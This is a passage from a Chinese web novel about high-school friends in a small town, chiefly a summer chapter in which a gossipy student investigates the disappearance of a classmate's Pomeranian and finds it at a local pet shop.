皇后托着腮帮,苦恼地歪着脑袋,发丝飘来柠檬的清香:“不知道哦。”
闻言老江的指甲又要落下,地下室外却飘来一阵节奏感十足的歌声,仿佛是一个巨大的音响在蹦蹦跳跳地下楼:
“笑,就心动!一皱,眉头就心痛!我为你着了魔,只感受,你的感!受!你要往哪儿走!把我,灵魂,也!带走!它,为你,着了魔!留着,有什么用!”
这段记错的歌词随着栅栏门的訇然中开断绝,大祭司肩背捕虫网,身挎写实咸鱼包,一手爆米花一手亚克力箱,以迈克尔杰克逊姿势闪亮出场:“兄弟们,姐妹们,你们好呀——”
所有人伸着手乞讨:“给点,给点。”
大祭司把亚克力箱放在门口,双手拉开塑料袋,露出里面棉花外形浅黄油层散发着奶油香气的脆脆小零食,到每个人面前挨个送温暖:“自己拿,自己拿——哎呀双手捧走,小区门口,有老式爆米花机,一爆一锅炉,嘭一声,可便宜啦!我买了一锅——老师,你也拿呀——”
颜阎腮帮子鼓鼓,指着门口亚克力箱:“那是什么?”
大祭司说话一跳一跳,但是结尾总带着一个长长的拖音,很有特点:“你猜猜——”
“旺旺大礼包。”
“错啦——”
EP:“球鞋。”
“NoNoNo——”
老江:“香水礼盒。”
大祭司和皇后交换了一个眼神,皇后耸肩。她又去看颜阎,颜阎迷惑:“没听说过。”
皇后猜:“是宠物?”
大祭司说:“差不多吧~”
她带着弯弯笑眼,自豪地提起亚克力箱,里面用透明板分出了四个区域,里面是全都是移动的黑色小点,仔细一看,所有人都起了一身鸡皮疙瘩。
“这是我从学校抓来的蚂蚁,很厉害吧?”
老江大叫:“快拿开!”
大祭司眨眨眼:“我没拿过去呀——”
皇后托着爆米花的双手颤抖:“你洗手了吗?”
“在学校洗手池洗了——”
皇后把爆米花全丢给颜阎让她自己吃。
大祭司把亚克力箱放在门口,叮嘱大家千万不要多碰,碰坏了蚂蚁跑出去很吓人的。老江说她不干正事光抓虫子玩了。大祭司很委屈:“我也考不上大学呀。”
EP虚心询问:“我一直想问,你怎么进的重点班?不是按成绩排的吗?”
“托关系。”
颜阎爆笑。
老江不想跟她们扯皮,在上面拿出上节课的笔记:“来,我们默写。”
大祭司想坐在皇后身边,但皇后为了离屏幕近,选在了两边没有空位的位置上。她只好坐到颜阎身边,跟她握了握手:“你好——”
“你好!”颜阎埋头苦吃,“我们都讲完鬼故事了,你也讲一个。”
大祭司小小声:“皇后还会讲鬼故事?”
“累死鬼的故事。”
“明白了。”大祭司歪着脑袋想了想,其实视线一直牵挂着她的蚂蚁箱,直到捕虫网把她硌疼了,她才想到把它摘下来,小声地讲起她的鬼故事:
“从前,有只公主蚁,快乐地生活在沙漠里。这里饿了有昆虫果冻,渴了有绿洲,生活非常幸福。可是,有一天,族群里的蚁后忽然疯掉了——
“它大声叫着:‘一切都是阴谋!这里不是沙漠!这里不是沙漠!’
“公主蚁很疑惑,不是沙漠还能是哪里呢?
“蚁后用悲伤的眼神看着它:‘我的孩子,你真的准备好接受自己的命运的了吗?即使你要面对的是不可战胜的庞大敌人,即使你永生永世都不能被族群理解?’
“公主蚁说:‘是的,我准备好了。’
“蚁后露出自豪的笑容,然后死去了。它死去的那一刻,公主蚁成为了新的蚁后,它的翅膀脱落,体型变大。同时,世界的一切在它眼前展开——
“这里根本不是沙漠,这是一个蚂蚁生态箱——主人在一开始,就准备了大量的食物和水,从此以后压根不管它们,只是偶尔坐在生态箱前面观察它们,兴致上来的时候,她会伸手弄死几只蚂蚁玩玩,也会突然赐予某些蚂蚁大量食物;会引发两个蚁群之间的战争,也会令几个蚁群引来长久的和平——
“公主蚁参透了世界的道理。它生活在一个小小的蚂蚁箱里,人类看着它。人类生活在小小的房间里,房子看着她。房子生活在小小的城镇里,国家看着它。国家生活在小小的地球上,地球看着它。地球生活在小小的宇宙里,宇宙,宇宙看着它——
“公主蚁心底升起一股悲凉,它爬起来,抖抖身上的沙子,做出了最终的决定:
她要去吃今天的饭了——
沙漠和蚂蚁箱都要生活,人类怎么样和她没有一丝关系。下面,她要去吃今天的爆米花了!”
颜阎鼓掌:“好喜欢你的幽默。有考虑起号吗?”
“没有这个打算。但是,你下面要往左躲哦——”
“为什么……”
颜阎的话在老江的卷纸筒下截断了。惨绝人寰的哀鸣令退休老人们推麻将的声音暂停了一瞬,很快又开始了下一把心理和技术的双重博弈。
98.夏季寻物贴
“可乐丢了。”
这只是一句轻描淡写的聊天,小喇叭却哗啦推开门:“可乐丢了?”房间里空调的冷气冰棱般往外冒。小红四肢离地飞进她的房间,钻进被子团里打滚。
她妈进她屋里把小红拖走,跑来的时候拖鞋底时不时与脚跟分离,又被踩回地上,那种啪嗒啪嗒的声音非常有节奏,像是左右摇摆的节拍器:“小红!小红!妈妈说什么?不许上床!”她把小红揣在怀里,顺手在小喇叭后脑勺上拍了一记,“说了多少次了?叠被叠被!你怎么不听呢?你屋怎么这么冷?空调多少度?”
她看了一眼空调上无机质的显示数值:26度,没问题。
小喇叭笑嘻嘻地和小红玩击掌游戏,狗爪子抬起来和她一拍,再抬起另一只,两个人玩得不亦乐乎:“你不让开26以下啦,我知道的。”
“26以下太冷了。最好是28。”
“哎呀26很舒服嘛。”
“怎么不叠被子?”
“刚起床……”
“被子叠好。不然会生螨虫。”
小喇叭不喜欢叠被子,反正晚上还要打开,为什么早上要叠?她的梦想就是自己一个人住,不用叠被子,把整张被子像摊饼一样摊在床上,这样整张被子都会像一张薄饼,她可以随时像鸡蛋脆饼咸菜块肉松之类的配菜一样被钻进去卷起来,让困意把自己吃掉。
她恹恹叠上被子堆在床头,接着问:“可乐怎么丢了?”
“丢了两天了。”妈妈在她屋子里转来转去,还拿手去摸她书桌,确定没有灰才满意点头,“她晚上老是把可乐放在外面,早上再带回家里,我就说这样不行吧!”
榕城是个和农村接壤的小城镇,独居老太太们几乎人手一只狗。对于这里养狗的人来说,遛狗牵绳才是不可理喻的,狗就是要在外面疯跑。中年人们也有样学样,把遛狗绳扔进垃圾桶。但是像可乐家里这样直接把狗丢在外面一整夜也是很少见的。
小喇叭的妈妈虽然跟可乐妈妈在遛狗中产生了深厚的友情,但回家后经常说她们家不负责。
小喇叭看了一眼小红,它趴在地上,小饭碗里还剩着昨天的狗粮。
怪不得小红最近心情不好,饭都吃不完,原来是好朋狗失踪了。
小喇叭经常搬家,虽然总也跑不出榕城这个范围,但是对于小时候的她来说,搬家是个非常可怕的事。好不容易熟络起来的同学朋友忽然就分别了。那个时候没有手机和小天才电话手表,分别了就是真的杳无音信。那个时候她也没意识到榕城是这么的小,大家在初中高中还会再见面,还会成为相看两相厌的同学!
但是那种分离的悲伤至今还在她心中。她永远永远都忘不掉,她站在幼儿园门口,握着朋友的手泣不成声,哭着说不想搬家,身边是大人们的笑声,而她心中只有深深的绝望。她的灵魂从头颅上面升起来,看着声嘶力竭嚎哭的自己,蜡烛一样融化的树木,积木似的楼房,朋友和自己裂帛般被分开的手,还有大人们面具一样的脸。
如今的小喇叭望着小红话梅一样酸溜溜黑漆漆的眼睛,心里悄悄呼唤:“小红小红,你不想和可乐分开对不对?”
小红当然听不见,它坐在那儿玩自己。
“我帮你把可乐找回来怎么样?”
小红似有所觉,抬起头望了望她。小喇叭大喜过望,但它只是转过身用屁股对着她,开始吃它的香喷喷嘎嘣脆小狗粮。
妈妈去厨房切萝卜,为了让她减肥,全家中午一起吃萝卜炒土豆丝。小喇叭趴在门边:“妈!我能去遛小红吗?”
妈妈的手里的刀咚咚咚敲着菜板,像舞鞋点着地面:“不行,你学习。遛狗让你弟弟去。”
“我也想去!”
“嘶。”妈妈转过头,“高中不能遛狗,忘了是不是?”
“以后我出去上学,就没法遛小红了。”
“规矩就是规矩。”妈妈又开始切菜,她把胡萝卜的头尾扔进垃圾桶里,用水冲洗不锈钢盆里沾着血沫的羊肉。小喇叭也曾想帮妈妈干活,但是她说什么年纪干什么事,这个年纪她不该做饭。
本来想趁着遛狗寻找线索的小喇叭计划失败。她的暑假像是菜板上的胡萝卜,被补习班和作业的刀切成一块一块。
还好世界上还要萝卜头和萝卜尖存在。她的调查时间,就是萝卜头和萝卜尖!用这些被扔进垃圾桶的时间,解决好朋狗失踪案吧!
早上的物理补习班在学校的物理实验室里,授课人就是她们班的物理老师。门卫睁一只眼闭一只眼,给足老师面子,她们得以长驱直入,不必在地下室里逃窜。
物理课两小时起步,中途只有一次休息。往常她都倒头就睡,今天她在到处找人帮忙寻找可乐。也许是为了预示这一天的不凡,一只放屁虫悄然钻进实验室,在小喇叭旁边的笔袋旁边爬来爬去。
这虫子放的屁是一种涩涩的气味,像是煮粥的时候散发出那种平铺直叙的米臭和夏天沥青路面气味的混合体,不是特别刺鼻,但是足够恶心人。
小喇叭脱下凉鞋准备拍死它,旁边有人高喝一声:
“刀下留人——”
大祭司仰头“咕咚咕咚”喝光了半瓶水,将瓶盖朝下扣住放屁虫,矿泉水瓶挪到桌面,轻轻一推,放屁虫就被她丢进瓶子里。她扭上瓶盖,心满意足地对着阳光观赏它黄黑相间的腹部:“快开学了,指望着它解闷呢——”
小喇叭眼前一亮,上去挎住她胳膊:“大女士!大小姐!大德鲁伊!大自然之王!最近有碰见一只蓝项圈的奶油色小博美吗?”
大祭司撇嘴:“大女士是谁啊?小女士!”她歪头想了想,摇头,“我就一个物理补习班,其他时候都在抓蚂蚁,没看到小狗。开学我会搞蚂蚁竞技场,辉煌沙漠,自然花园,激流勇进,天空之城,你要选一个赌输赢吗?”
“赌什么?”
“没想好,你赌就是了。”
“……天空之城吧。”
大祭司拿出学校门口文具店的一毫米厚度红皮本,在天空之城的冒号后面写了她的名字:“感谢你对蚂蚁新世界做出的贡献!”
然后她就飘然离去了。
后面一个小时的补习班上,小喇叭一直捏着下巴做名侦探造型,思索着从学校到回家之间,还有谁的消息可以用。
孟含靓秒删的化学笔记,宋悦馨的抖pop风九宫格女团照,普通班社会人的ktv球鞋合照,颜阎写的oc小段子,北极兔价值连城的二次元金属小徽章和本子repo,艺术家的针织玩具,情侣互相@的比心影子,姐姐的氛围感书桌……
诶?这个书桌旁边的窗户是……
小喇叭放大图片,往旁边看了看,又抬起头往窗外看了看。
这半死不活叶片卷曲的桂花树,不就是学校吗!虽然姐姐P掉了栏杆,但这个角度绝对是在教室里。
她又看了眼时间,昨天早上九点,配字是:只有努力不会辜负你。
小喇叭乐了。一下课她就蹦蹦跳跳下了楼梯,拧腰转身,一个旋风腿踹开教师大门。
不想在家里学习,宁愿顶着诶空调的闷热空气也要来教室的姐姐吓得撞上身后桌子,看见她从太阳光里走出,笑骂道:“要吓死我啊!”
小喇叭在她面前不停跺脚:“快问我怎么知道你在这儿的?!”
姐姐从善如流:“怎么知道的?”
“你窗户外景色暴露了你!一放大就知道了!”
姐姐哄小孩似的鼓掌:“名侦探。”
小喇叭步入正题:“你有没有看到一只奶油色博美小狗,戴蓝项圈的。”
姐姐家里只有猫没有狗,她想了想说:“我们小区有人养,但养了好几年,估计不是你要找的那只。”
小喇叭没走,她眼巴巴看着姐姐,两只手搓来搓去:“那个……这个……姐姐~”
“干嘛?”
“你算一遍好不好?”
俗话说久病成医,姐姐说久信成仙。家里长年的迷信史令她掌握了基本的命理技巧,现在出门支个招魂幡就能当桥底洞人。
她倒是不介意,低头掐了遍小六壬,算出个大安加赤口。小喇叭听不懂,问她啥意思。姐姐说:“失物不用找,能自己回来。”
小喇叭坚持:“你不问问我什么时候丢的?”
姐姐说:“起念动心就能算。而且这东西你真信就输了。就像我说不用找,你就真的不找了?”
不找是不可能的。小喇叭皱着眉头下楼,中途和念念叨叨着“奇了怪了蚂蚁怎么少这么多”的马老师打了个招呼。走到希腊风走廊前,和下一堂补习班的北极兔碰了个正着。
北极兔是位圆头圆脑圆眼镜的女士,留着女高中生特有鲶鱼须刘海。她坐着的时候娇小可爱,站起来身高足有一米七,因此被颜阎赐名北极兔。她也被小喇叭拉住问了可乐的消息,本来没抱什么希望,结果她居然真的仔细思考了一阵:“你别说,我好像真的见过。”
她从传输助手那里找到一张照片发给她。那是一张遮脸自拍,照片的主人梳着披发,穿红格子外套和左胸口有可爱logo的白衬衫,怀里抱着一只戴项圈的奶油色小博美,对着商场不透光的深蓝玻璃墙拍照。
“这张的小手链可爱,毕业我出cos带。”北极兔笑滋滋指着照片,“但我不记得这个人是谁了。”
“相册的保存时间也没了?”
“手机太老啦,不定期清相册就会卡死。”
小喇叭叹气:“我手机也是,看作业都要卡一会儿。”
“毕业后换嘛。”
“毕业毕业,什么都是毕业后。”小喇叭撇嘴,“不毕业,我们还不活了?”
北极兔没法回答她,两个人随便说了点什么就分别了。
北极兔提供的照片是一个过于经典的自拍模板,指向模糊,甚至看不出拍照的是谁。小喇叭反复拖拽,终于让她找到几条线索。
首先,玻璃反光里能看到一家兰州拉面。呃……这是全国统一的。但反光里还有一辆公交车!是18路!
把十八路的路线图和附近所有兰州拉面店统一对比,很奇怪的事情发生了:没有重合。
县城道路天天施工,公交车道变来变去,地图不能马上实时同步。但小喇叭不愧是小喇叭,虽然藏不住秘密,可消息不够多是很难成为小喇叭的。
她向家长开出租车的朋友打听了一下18路的变道情况,得知四月和六月公交车都有站点增删,把新站点加在地图上,和旧站点一连线——四月份还真有一次经过了某家兰州拉面店。
可是,四月份的可乐,还没有丢啊。
小喇叭找妈妈打听了一下可乐的特征:奶油色小博美,蓝项圈,巧克力色小爪子,肚子上有白毛毛。
那张图看不到爪子和肚子,没法对比。
妈妈似乎察觉到什么,警告她:“什么时候做什么事,别搞一些有的没的。有这时间你不如去把头发剪了。”
小喇叭死死捂住自己的马尾:“不剪!”
“为什么不剪?”妈妈想起来什么,忽然拍手大笑,“你小时候一剪头发就哭,为了剪头发还离家出走过呢。”
弟弟在旁边嘿嘿傻笑,手揪着小红的大耳朵:“离家出走!”
妈妈脸一板:“去罚站。”
弟弟愣住。
“弟弟去罚站。不许拽小红耳朵,你忘了?再不去让姐姐揍你。”
小喇叭摩拳擦掌:“我要吃小孩儿咯~”
弟弟嘤嘤嘤着去阳台面壁思过了。上次他反抗命令,被他妈扇了一巴掌,留下了巨大心理阴影。
至少照片的大概时间已经锁定了,小喇叭一路滑朋友圈,顺着时间线,硬搜。
她就不信了,这个年级还有北极兔加了而自己没加的人?除非对方屏蔽自己,否则不可能找不到。她可是连刘征兰和颜阎都加上了。
奇妙的是,她还真没找到。
怎么可能啊!她平时什么都不发,只窥屏,小道消息从来都是线下说!这都能被屏蔽?
她在楼上抓耳挠腮,小区公共设施那边在呜呜鬼叫。放了暑假小孩儿横行,到处都是尖叫疯跑的臭小鬼。小喇叭一怒之下拎出弟弟,给他派遣任务:“去,把楼下小孩赶跑,姐请你吃奶酪棒。”
弟弟乐颠颠去,灰溜溜回,他说姐姐是坏蛋,楼下没有小孩,只有两个大孩子。
小喇叭怒了,她倒要看看是什么样的大孩子管不住嘴。她一路冲下楼,直奔花园,跟两个意想不到的人打了个照面。
讨厌鬼坐在秋千上,一边晃荡一边鬼哭狼嚎。皇后坐在秋千的另一边,双手绕过绳索玩手机。看见她来,扬起下巴打了个招呼。
小喇叭看看这个,看看那个,脑子里牵起红线,钉上大头钉和照片,立起一张侦探线索版。
讨厌鬼和恋爱脑分手后一直在空间发伤感文案和啤酒配图,还有什么“再也没有人能像她一样爱人,再也没有人能像我一样爱她”,明显没走出来。而恋爱脑已经和现任在求赞求评求99了。皇后对讨厌鬼的空间一条不落地点赞,多次互动,放假后又单独和他出来玩。因此事情的真相是……
“哦~”小喇叭意有所指地起哄。
皇后笑嘻嘻:“哦什么?”
“我不说,你懂的。”
讨厌鬼停止鬼哭狼嚎,声明道:“我心里只有念念。”
皇后无所谓地继续玩手机:“对对,我们是朋友。”
小喇叭说:“我不管你们是什么,别嚎了,吵得慌,一会儿有睡午觉的大爷出来骂你们。”
皇后道:“我们怕他?”
“主要是我也嫌吵。”
皇后比了个ok。
小喇叭回家里刷题,小红在外面和弟弟玩。她撑着下巴出神:可乐,去了哪里呢?
大概八九天后,一条新消息传来:可乐的项圈找到了。
线索提供者商博良去买雪王,从后路抄近道回家的时候,在捡垃圾的老太太家门口看到了一条蓝项圈。想起小喇叭的请求,她留了个心眼,拿回家洗了洗(不在河里洗是因为河水实在太脏了),拍照问她是不是这一条。
小喇叭悲喜交加。喜是因为这真的确是可乐的项圈,悲是因为后路总是过大货车,只有可乐的项圈在这儿,可乐怕是……
活要见狗,死要见尸。小喇叭仍然在萝卜头时间坚持寻找可乐,她甚至打入了三个小区的老年人情报网,请求他们帮忙留意走丢的小博美。
日夜轮替,转眼一个月过去,大祭司的蚂蚁战争已经有三十几个精神股东,讨厌鬼仍然时不时鬼哭狼嚎,可乐还是不见踪影。
难道大侦探小喇叭的推理之旅就要在这里结束了吗?当然不是。某天小喇叭偷偷刷手机,她傻笑着短视频哗哗流过,一个熟悉的东西忽然从她眼前略过。
很多八卦都藏在这种不足为人道的小细节里,她没有忽视那种熟悉感,把视频拖回去,看到某个大学舞蹈社的学姐们在录女团舞的视频。
这本来没什么,就是这些学姐们的衣服怎么看怎么眼熟。
白衬衫,左胸口的可爱logo,小手环……
那张照片!
小喇叭打开北极兔提供的照片,和短视频里的女生一对比,果然是同款!再根据她们打的标签,一看就知道是哪个女团的粉丝。
把这个年级追女团的、会发氛围感遮脸自拍的、会穿搭的女生挑出来,根据身高和身材一一剔除,依然剩下几个。
她一咬牙,动用自己还算好的人缘,把剩下那几个挨个问过去:“江湖救急,找狗!照片里是你吗!”
终于,经过两天的排查,终于有一位女子承认了罪行:“是我。”
该女子就是恋爱脑,她用京阿尼女角色头像,对话框有炫彩特效:“你要找照片里的狗?”
小喇叭喜极而泣:“对对对!你什么时候拍的照片?狗怎么到你手里的?”
恋爱脑:“照片四月份拍的,狗不是我的。”
恋爱脑:“是内谁的。”
小喇叭:“谁啊?”
恋爱脑:“前夫哥。”
……她就说怎么讨厌鬼天天在楼下鬼哭狼嚎!合着是他家的狗啊!
她不负责遛狗,只有放学回家时碰到可乐和小红玩才能摸它两下,对它的家庭构造也一无所知,谁能知道可乐妈妈也是讨厌鬼的妈妈!
这么一来,找不到朋友圈也很正常,原来是分手后删相关。
情侣给搜查工作带来了巨大障碍。但是祸不及家人,小喇叭很烦讨厌鬼,也不太喜欢恋爱脑,但是可乐是无辜的,小红也是无辜的。
寻找可乐大行动在不知不觉间在榕城三中的学生里流行。一个暑假,小喇叭接到了无数张奶油色小博美的照片,同学们纷纷来问:“这只小博美是不是可乐?”
小喇叭只能任劳任怨地回复:
“爪子不是黑的,不是。”
“嘴筒子太长了,不是。”
“这不是博美,这是比熊。”
“把你家猫放回去!”
暑假快要结束了,耀眼的绿树叶在满城热风里沙沙响,地底下闷了十八年的蝉爬出土层,在曾经遥不可及的叶间嘶声高鸣,空调外机的振动为全球变暖提供仨瓜俩枣。小喇叭得了豁免,妈妈同意她和艺术家一起喝奶茶压马路,但是七点之前必须回家。
两个人走在路上,说着一些无关紧要的话。夏末天气依然很热,她们浑身汗津津的,还顺手用快速融化的冰沙互相冰对方。
从家里转到十字路口,又从十字路口漫无目的地转到后路。后路的消防站里有一个篮球场,她们从里面看到了同年级的男同学。
一个暑假过去,同班同学都有点陌生了。一群人黑黑红红大汗淋漓地瘫在篮球架下面,
咕咚咕咚喝电解质水。
有几个精力还算旺盛的正抓着一只橘猫自言自语:“你看到可乐了吗?是狗。哦你不认识,你朋友认不认识?”
两个人转悠到小公园,有几个带着狗出来散心的同级学生看到她,抬手跟她打招呼:“可乐找到了吗?”
小喇叭放开嗓子:“没有!”
“找到了跟我们说一声!”
“好嘞!”
溜达到废弃已久的音乐喷泉旁边,颜阎补习班刚结束,正躺在这儿虔诚地晒太阳,耳朵里面塞着耳机,嘴里还嚼着薯条。看见她俩,她不计前嫌地拿出薯条问她们吃不吃。
艺术家往后退了一步,态度冷淡:“不吃。”
小喇叭倒是挺想问问她这个暑假干了什么。结果两人一对上视线,颜阎就在胸前比了个叉:“没见到可乐。我是死宅,我除了上补习班不出门。”
“连你都知道了?”小喇叭有点郁闷,“整个三中怕是没人不知道了。”
颜阎两指夹着薯条,淡淡呼出一口气:“你以为你的外号
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为什么叫小喇叭?”
颜阎吃完薯条,骑着她的黑色小破车走了。艺术家六点不到就要乘车去陶县买联名手账,小喇叭的时间不够,没法和她一起去。两个人在车站分手。
小喇叭晃晃悠悠去了榕城唯一的宠物店,给小红买狗罐头,结束这一天的漫游。
宠物店开了六七年,招牌都破破烂烂的,里面顶多卖仓鼠和金丝熊,主要业务是给老太太们的狗洗澡驱虫做发型卖狗粮。中年人都会网购,也不太需要这种线下私人小店。
小喇叭走了两阶半条小腿那么高的台阶,横向推开被宠物笼挡了一半的玻璃门,默默去货架处找狗罐头。
转过一个货架,她在等待洗澡的狗笼子边遇见孟含靓和康烁影。
这两个人初中都曾是社会姐,升入高中也是一个染黄毛一个脾气爆,换成别人就敬而远之了。但小喇叭是全年级的八卦中心,掌握小道消息无数。
当你针对某事掌握了足够的信息,它就不可能是令人恐惧的。
她蹲在两人身边:“看啥呢?”
康烁影朝她笑了笑,而孟含靓指着笼子里的小狗:“这是不是你的可乐?”
小喇叭往加粗的蓝色铁丝笼子里望过去,一下子就叫了起来。
奶油色,小博美,巧克力小爪子。这不就是可乐吗!
她叫来宠物店老板开门,把博美抱起来上上下下看了一遍,发现有些不对。
肚子上没有白毛毛,腿上还有伤口,和可乐完全不一样。
她深深地叹了口气,就地盘腿坐下来:“不是。”
孟含靓说:“喊一声呢?”
“可乐!”
博美摇尾巴。
孟含靓喊:“雪碧!”
博美还摇尾巴。
康烁影喊:“孟含靓!”
博美依然摇尾巴。
孟含靓扑上来拧她胳膊肉。
博美从小喇叭手里落到康烁影怀中。这位前社会姐相当喜欢小动物,挠着博美嗲声嗲气:“谁是世界上最可爱的小狗勾?谁是世界上最聪明的小狗勾?”
博美开开心心地伸出舌头舔她的手指,康烁影急忙撤回手。孟含靓则用食指点着它鼻尖:“啊?坏狗勾!不许舔!再舔我们就不喜欢你咯!”
小喇叭把脸颊贴在狗笼上面:“你们两个家养狗?”
“她家不养宠物。”康烁影摆摆手,“我家只养金鱼。”
小喇叭的嘴跟漏勺一样:“我家养比格。”
康烁影肃然起敬:“忍人。”
“我妈管得特别严,比格也挺乖的,叫小红。”
“那你妈是比王。”
“我呢?”
“比公主。”
宠物店老板从店深处探出头:“萨摩耶洗好了,有没有人想摸摸?”
康烁影立刻扑过去:“我我我!”
少了康烁影,孟含靓显得话少了许多。但小喇叭总能和别人聊起来:“你经常来这儿?”
“来摸小动物。”
“怎么不养一只。”
“感觉我还没有养宠物的能力。”
“很简单的!有的吃有的喝,没事出门遛弯儿就行。养猫连遛弯都不需要,活着就行,写作业的时候还能抱着摸摸。”
“不会乱拉乱尿吗?”
“倒是也会啦……”
“你们家怎么解决的?”
“我妈会不给它们吃肉干,多几次就能训练会了。副作用就是现在我妈一骂它‘坏狗’,它就自动去上厕所。”
孟含靓曲起食指挠小狗下巴:“我觉得人类很坏。本来狗也只是在外面跑来跑去,人类又要把它们养在家里,养得不顺心了,还要说它们不好。”
“你刚刚也说人家是坏狗勾。”
“我也坏。”
两个人沉默着挠小狗的肚皮,周围只剩下莲蓬头哗哗的水声和小狗摇尾巴的呼呼声。
为了缓和气氛,小喇叭说:“哎呀,你以后养宠物可以带它们去外面上厕所嘛!我家就是管得比较严,我妈管我也是这样。我小时候超级讨厌剪头,每次剪头嗓子都哭哑好几天。有次为了不剪头,跑了三四公里,那时候我才七岁,都跑出榕城了。最后还是被我妈抓回来了。现在她还拿我小时候不愿意剪头来笑话我……”
孟含靓说:“我们和宠物有什么区别?”
小喇叭沉默了。
孟含靓冷若冰霜的表情出现了一丝裂痕:“我不是在说你。”
“我知道。”小喇叭轻声说。
“养小孩就像养动物,要是你没有自己的想法,你就会很快乐。要是你有自己的想法,那你可就完蛋啦。”
“我知道。”小喇叭痛苦地捂住耳朵。
小狗肚子上的手停下来了,它蹭蹭孟含靓,又拿鼻尖顶小喇叭,见两个人都没有摸它的意思,气鼓鼓地把自己关回笼子里,在自以为安全的地方冲她俩汪汪叫。
“我*。”小喇叭一拳砸在地上,“我以后绝对不怀念童年。”
她又自言自语般低语:“那我现在可咋办?”
孟含靓说:“等毕业呗。”
“那不就是纯熬吗!”小喇叭说,“我要是熬不下去怎么办?”
孟含靓道:“学可乐离家出走。”
玻璃门上的迎客铃“叮”一声,皇后从外面走进来。看见她们两个,似笑非笑地打了个招呼,径直抱起笼子里的小博美。
小喇叭一下子跳起来:“不许偷狗傲!”
皇后向她翻了个白眼。宠物店老板探出脑袋,在围裙上擦湿漉漉的手:“没事,是她把这只流浪狗送过来的。”她转向皇后,“一个月了,你终于决定把它带回家啦?”
此时的讨厌鬼风一般冲进店里,一举放跑店里囤积的冷气。他一把抱起这只流浪狗举过头顶,大声质问皇后:“真的吗?这个真的是可乐吗?”
小喇叭道:“应该不是,喊谁的名字它都应。”
皇后笑容可掬:“试试呗。”
讨厌鬼大喊:“可口可乐!”
博美摇尾巴。
“看吧,叫什么它都……”
“百事可乐!”
博美龇出尖尖小牙,穿透力极强的汪汪叫使得整家店里的狗都开始仰天长嚎。仓鼠们畏畏缩缩蜷在笼子角落,少数几只猫发出尖锐嚎叫。
一片混乱之中,讨厌鬼喜极而泣:“这就是我家可乐!一叫它百事它就生气!可乐!可乐!你受苦了!呜呜呜呜……”
小喇叭被巨大的声波击败,瘫倒在狗笼子上,心里对起了时间线。
失踪一个月,对上了。毛色和肉垫的颜色,对上了。肚子上的毛可以剃了再长,不是大事。主人的口供,对上了。伤口可以是撞的,那这只狗大概率就是可乐了。
讨厌鬼鼻涕眼泪一起流,当场就抓着皇后的手:“呜呜呜呜小唐,我错了。我发现我果然还是最喜欢你,吕心念有什么好的!呜呜呜呜你才是我的真爱!”
皇后一把抽回自己的手,单眉高扬:“等一下,你说什么呢?我只是帮你找回了狗,我对你可没有意思!”
讨厌鬼哭到缺氧的脑子没办法处理这么多信息。他一屁股坐在门口,继续嗷嗷大哭。孟含靓和小喇叭捂着耳朵躲到洗澡间,康烁影在那里探着头看热闹,见她俩进来,拉着她们讲解剧情。
听完一切,她笑了一声:“皇后就是这样。”
“哪样?”小喇叭问。
孟含靓张开双臂:“Queen。”
“贬义的褒义的?”
这两个人精都不愿意表达自己对皇后的态度,只是嘿嘿一笑。
“她又不是喜欢脑残片。”康烁影说,“她就是觉得脑残片都喜欢过恋爱脑,自己不能不如她,所以他也必须喜欢自己。”
“扭曲。”小喇叭评价:“脑残片听起来比颜阎起的讨厌鬼合适多了。”
“没叫他傻*就不错了。”
孟含靓头也不抬:“关注和喜爱,就是她皇冠上的明珠。她不太需要,但是想要。”
“真会说话。”小喇叭捧哏,“你怎么知道的?”
孟含靓并不回答,她只是冷静地微笑。
赶走了打扰小动物休息的讨厌鬼,宠物店老板一蹦一跳地回来。她年纪不大,顶多三十多,纯粹是讨厌城市回家乡图清闲的。听到她们的对话,她也凑过来插嘴:“她是那种人啊?我倒挺喜欢她的来着。”
三个人表现出了课堂上绝对没有的强烈求知欲:“为什么?”
“她把小狗送来的呀。”老板打开莲蓬头,用水流冲她们的胳膊,把三个人赶到洗澡间外面,“也不算。她怕脏,让我去把狗抱回来的。当时狗被电动车撞了,右前腿骨折,我治不了,后来带它去陶县治的。后来那个女生又来了一次,给我垫了钱,但不想收养它。我就一直放在店里了。”
小喇叭问:“那她干嘛不一开始就把狗还给人家。我早就到处找人问了啊!”
康烁影道:“可能是最近才意识到,这只狗和讨厌鬼丢的狗是同一只吧。”
孟含靓结结实实翻了个白眼:“可能就是想钓着他胃口,拖够久了再给他。又方便安慰他,又能在最后展示一下自己的能力和对他有多上心。”
谁都不知道正确答案,这种事,恐怕只有皇后自己才清楚了。
“这个故事告诉我们一个道理。”小喇叭严肃总结,“遛狗要牵绳。”
99.魔鬼今夜来不来
刘征兰吃了五天斐波那契菜,终于撑不下去了。
“油。油太大了。”她说,“五天,一开始是番茄牛腩,然后是牛腩炖土豆,后来是咖喱,紧接着是牛肉咖喱土豆泥,现在,已经变异了。”
律易棋表示非常同情,当场大方表示:“你来我这儿吃,我请客。”
“重点不在这儿。我要是不上桌,或者不吃,我妈就会骂我。”刘征兰生不如死,“而且我想不通。凭什么?凭什么?我给我弟做饭就要天天刷锅。我妈给我们做饭就可以一菜五吃?凭什么?”
“大人的特权哦。”康烁影给自己剪指甲,“你以后变成大人也可以这样。”
“我妈说我以后要和我弟互相照应。”
律易棋:“……你来我们掮木吧,我保证你每天都能吃上饭。”
“我考虑考虑。”
考虑到暑假快要结束了,刘征兰终于等到她妈带她弟去旅游了,她喊颜阎打开呼叫中心,开始到处吃好吃的。
颜阎跟着她蹭吃蹭喝,一天吃了两次窑鸡,她终于想起来一件事。
“咱们是不是应该用骰子了?”
刘征兰也忘了。她扬起脸思考了一阵,发现今天已经是八月二十五号了。
“走吧。”她同意,“现在你和康烁影都有空。再过几天我弟回来,你补作业,到时候打死也凑不齐人了。”
叫来康烁影,她们打算把铃铛也带上。结果不管往哪儿打电话,她都一律不接。三个人又拨了她办事处的电话。接线员小姐还是上次那个,她是本地土著,纯粹来讨生活,误入小动物公司,每天过得十分滋润,最大的爱好就是在电话里跟人打太极。经过十分钟无效对话,康烁影忍无可忍挂了电话。
在这十分钟里,颜阎和刘征兰锲而不舍地打铃铛的手机。终于在康烁影挂断的一刻接通,铃铛有气无力:“喂,我不办卡,不买房,没孩子,没欠钱。”
“是我。”刘征兰说。
“我们!”康烁影大声补充。
铃铛的声音提高了一点:“哦?你们呀?下午好,有什么事吗?”
“干嘛呢?怎么不接电话?”
“补觉。”她说,“办事处门口天天有人误触警报。虽然以前也有,但那都是小动物和躲雨人类。最近放暑假,误触特别频繁,我一晚上起来好几次,睡不着觉。”
“我们都起了让你还没起?”康烁影震撼。
“辛苦嘛……”
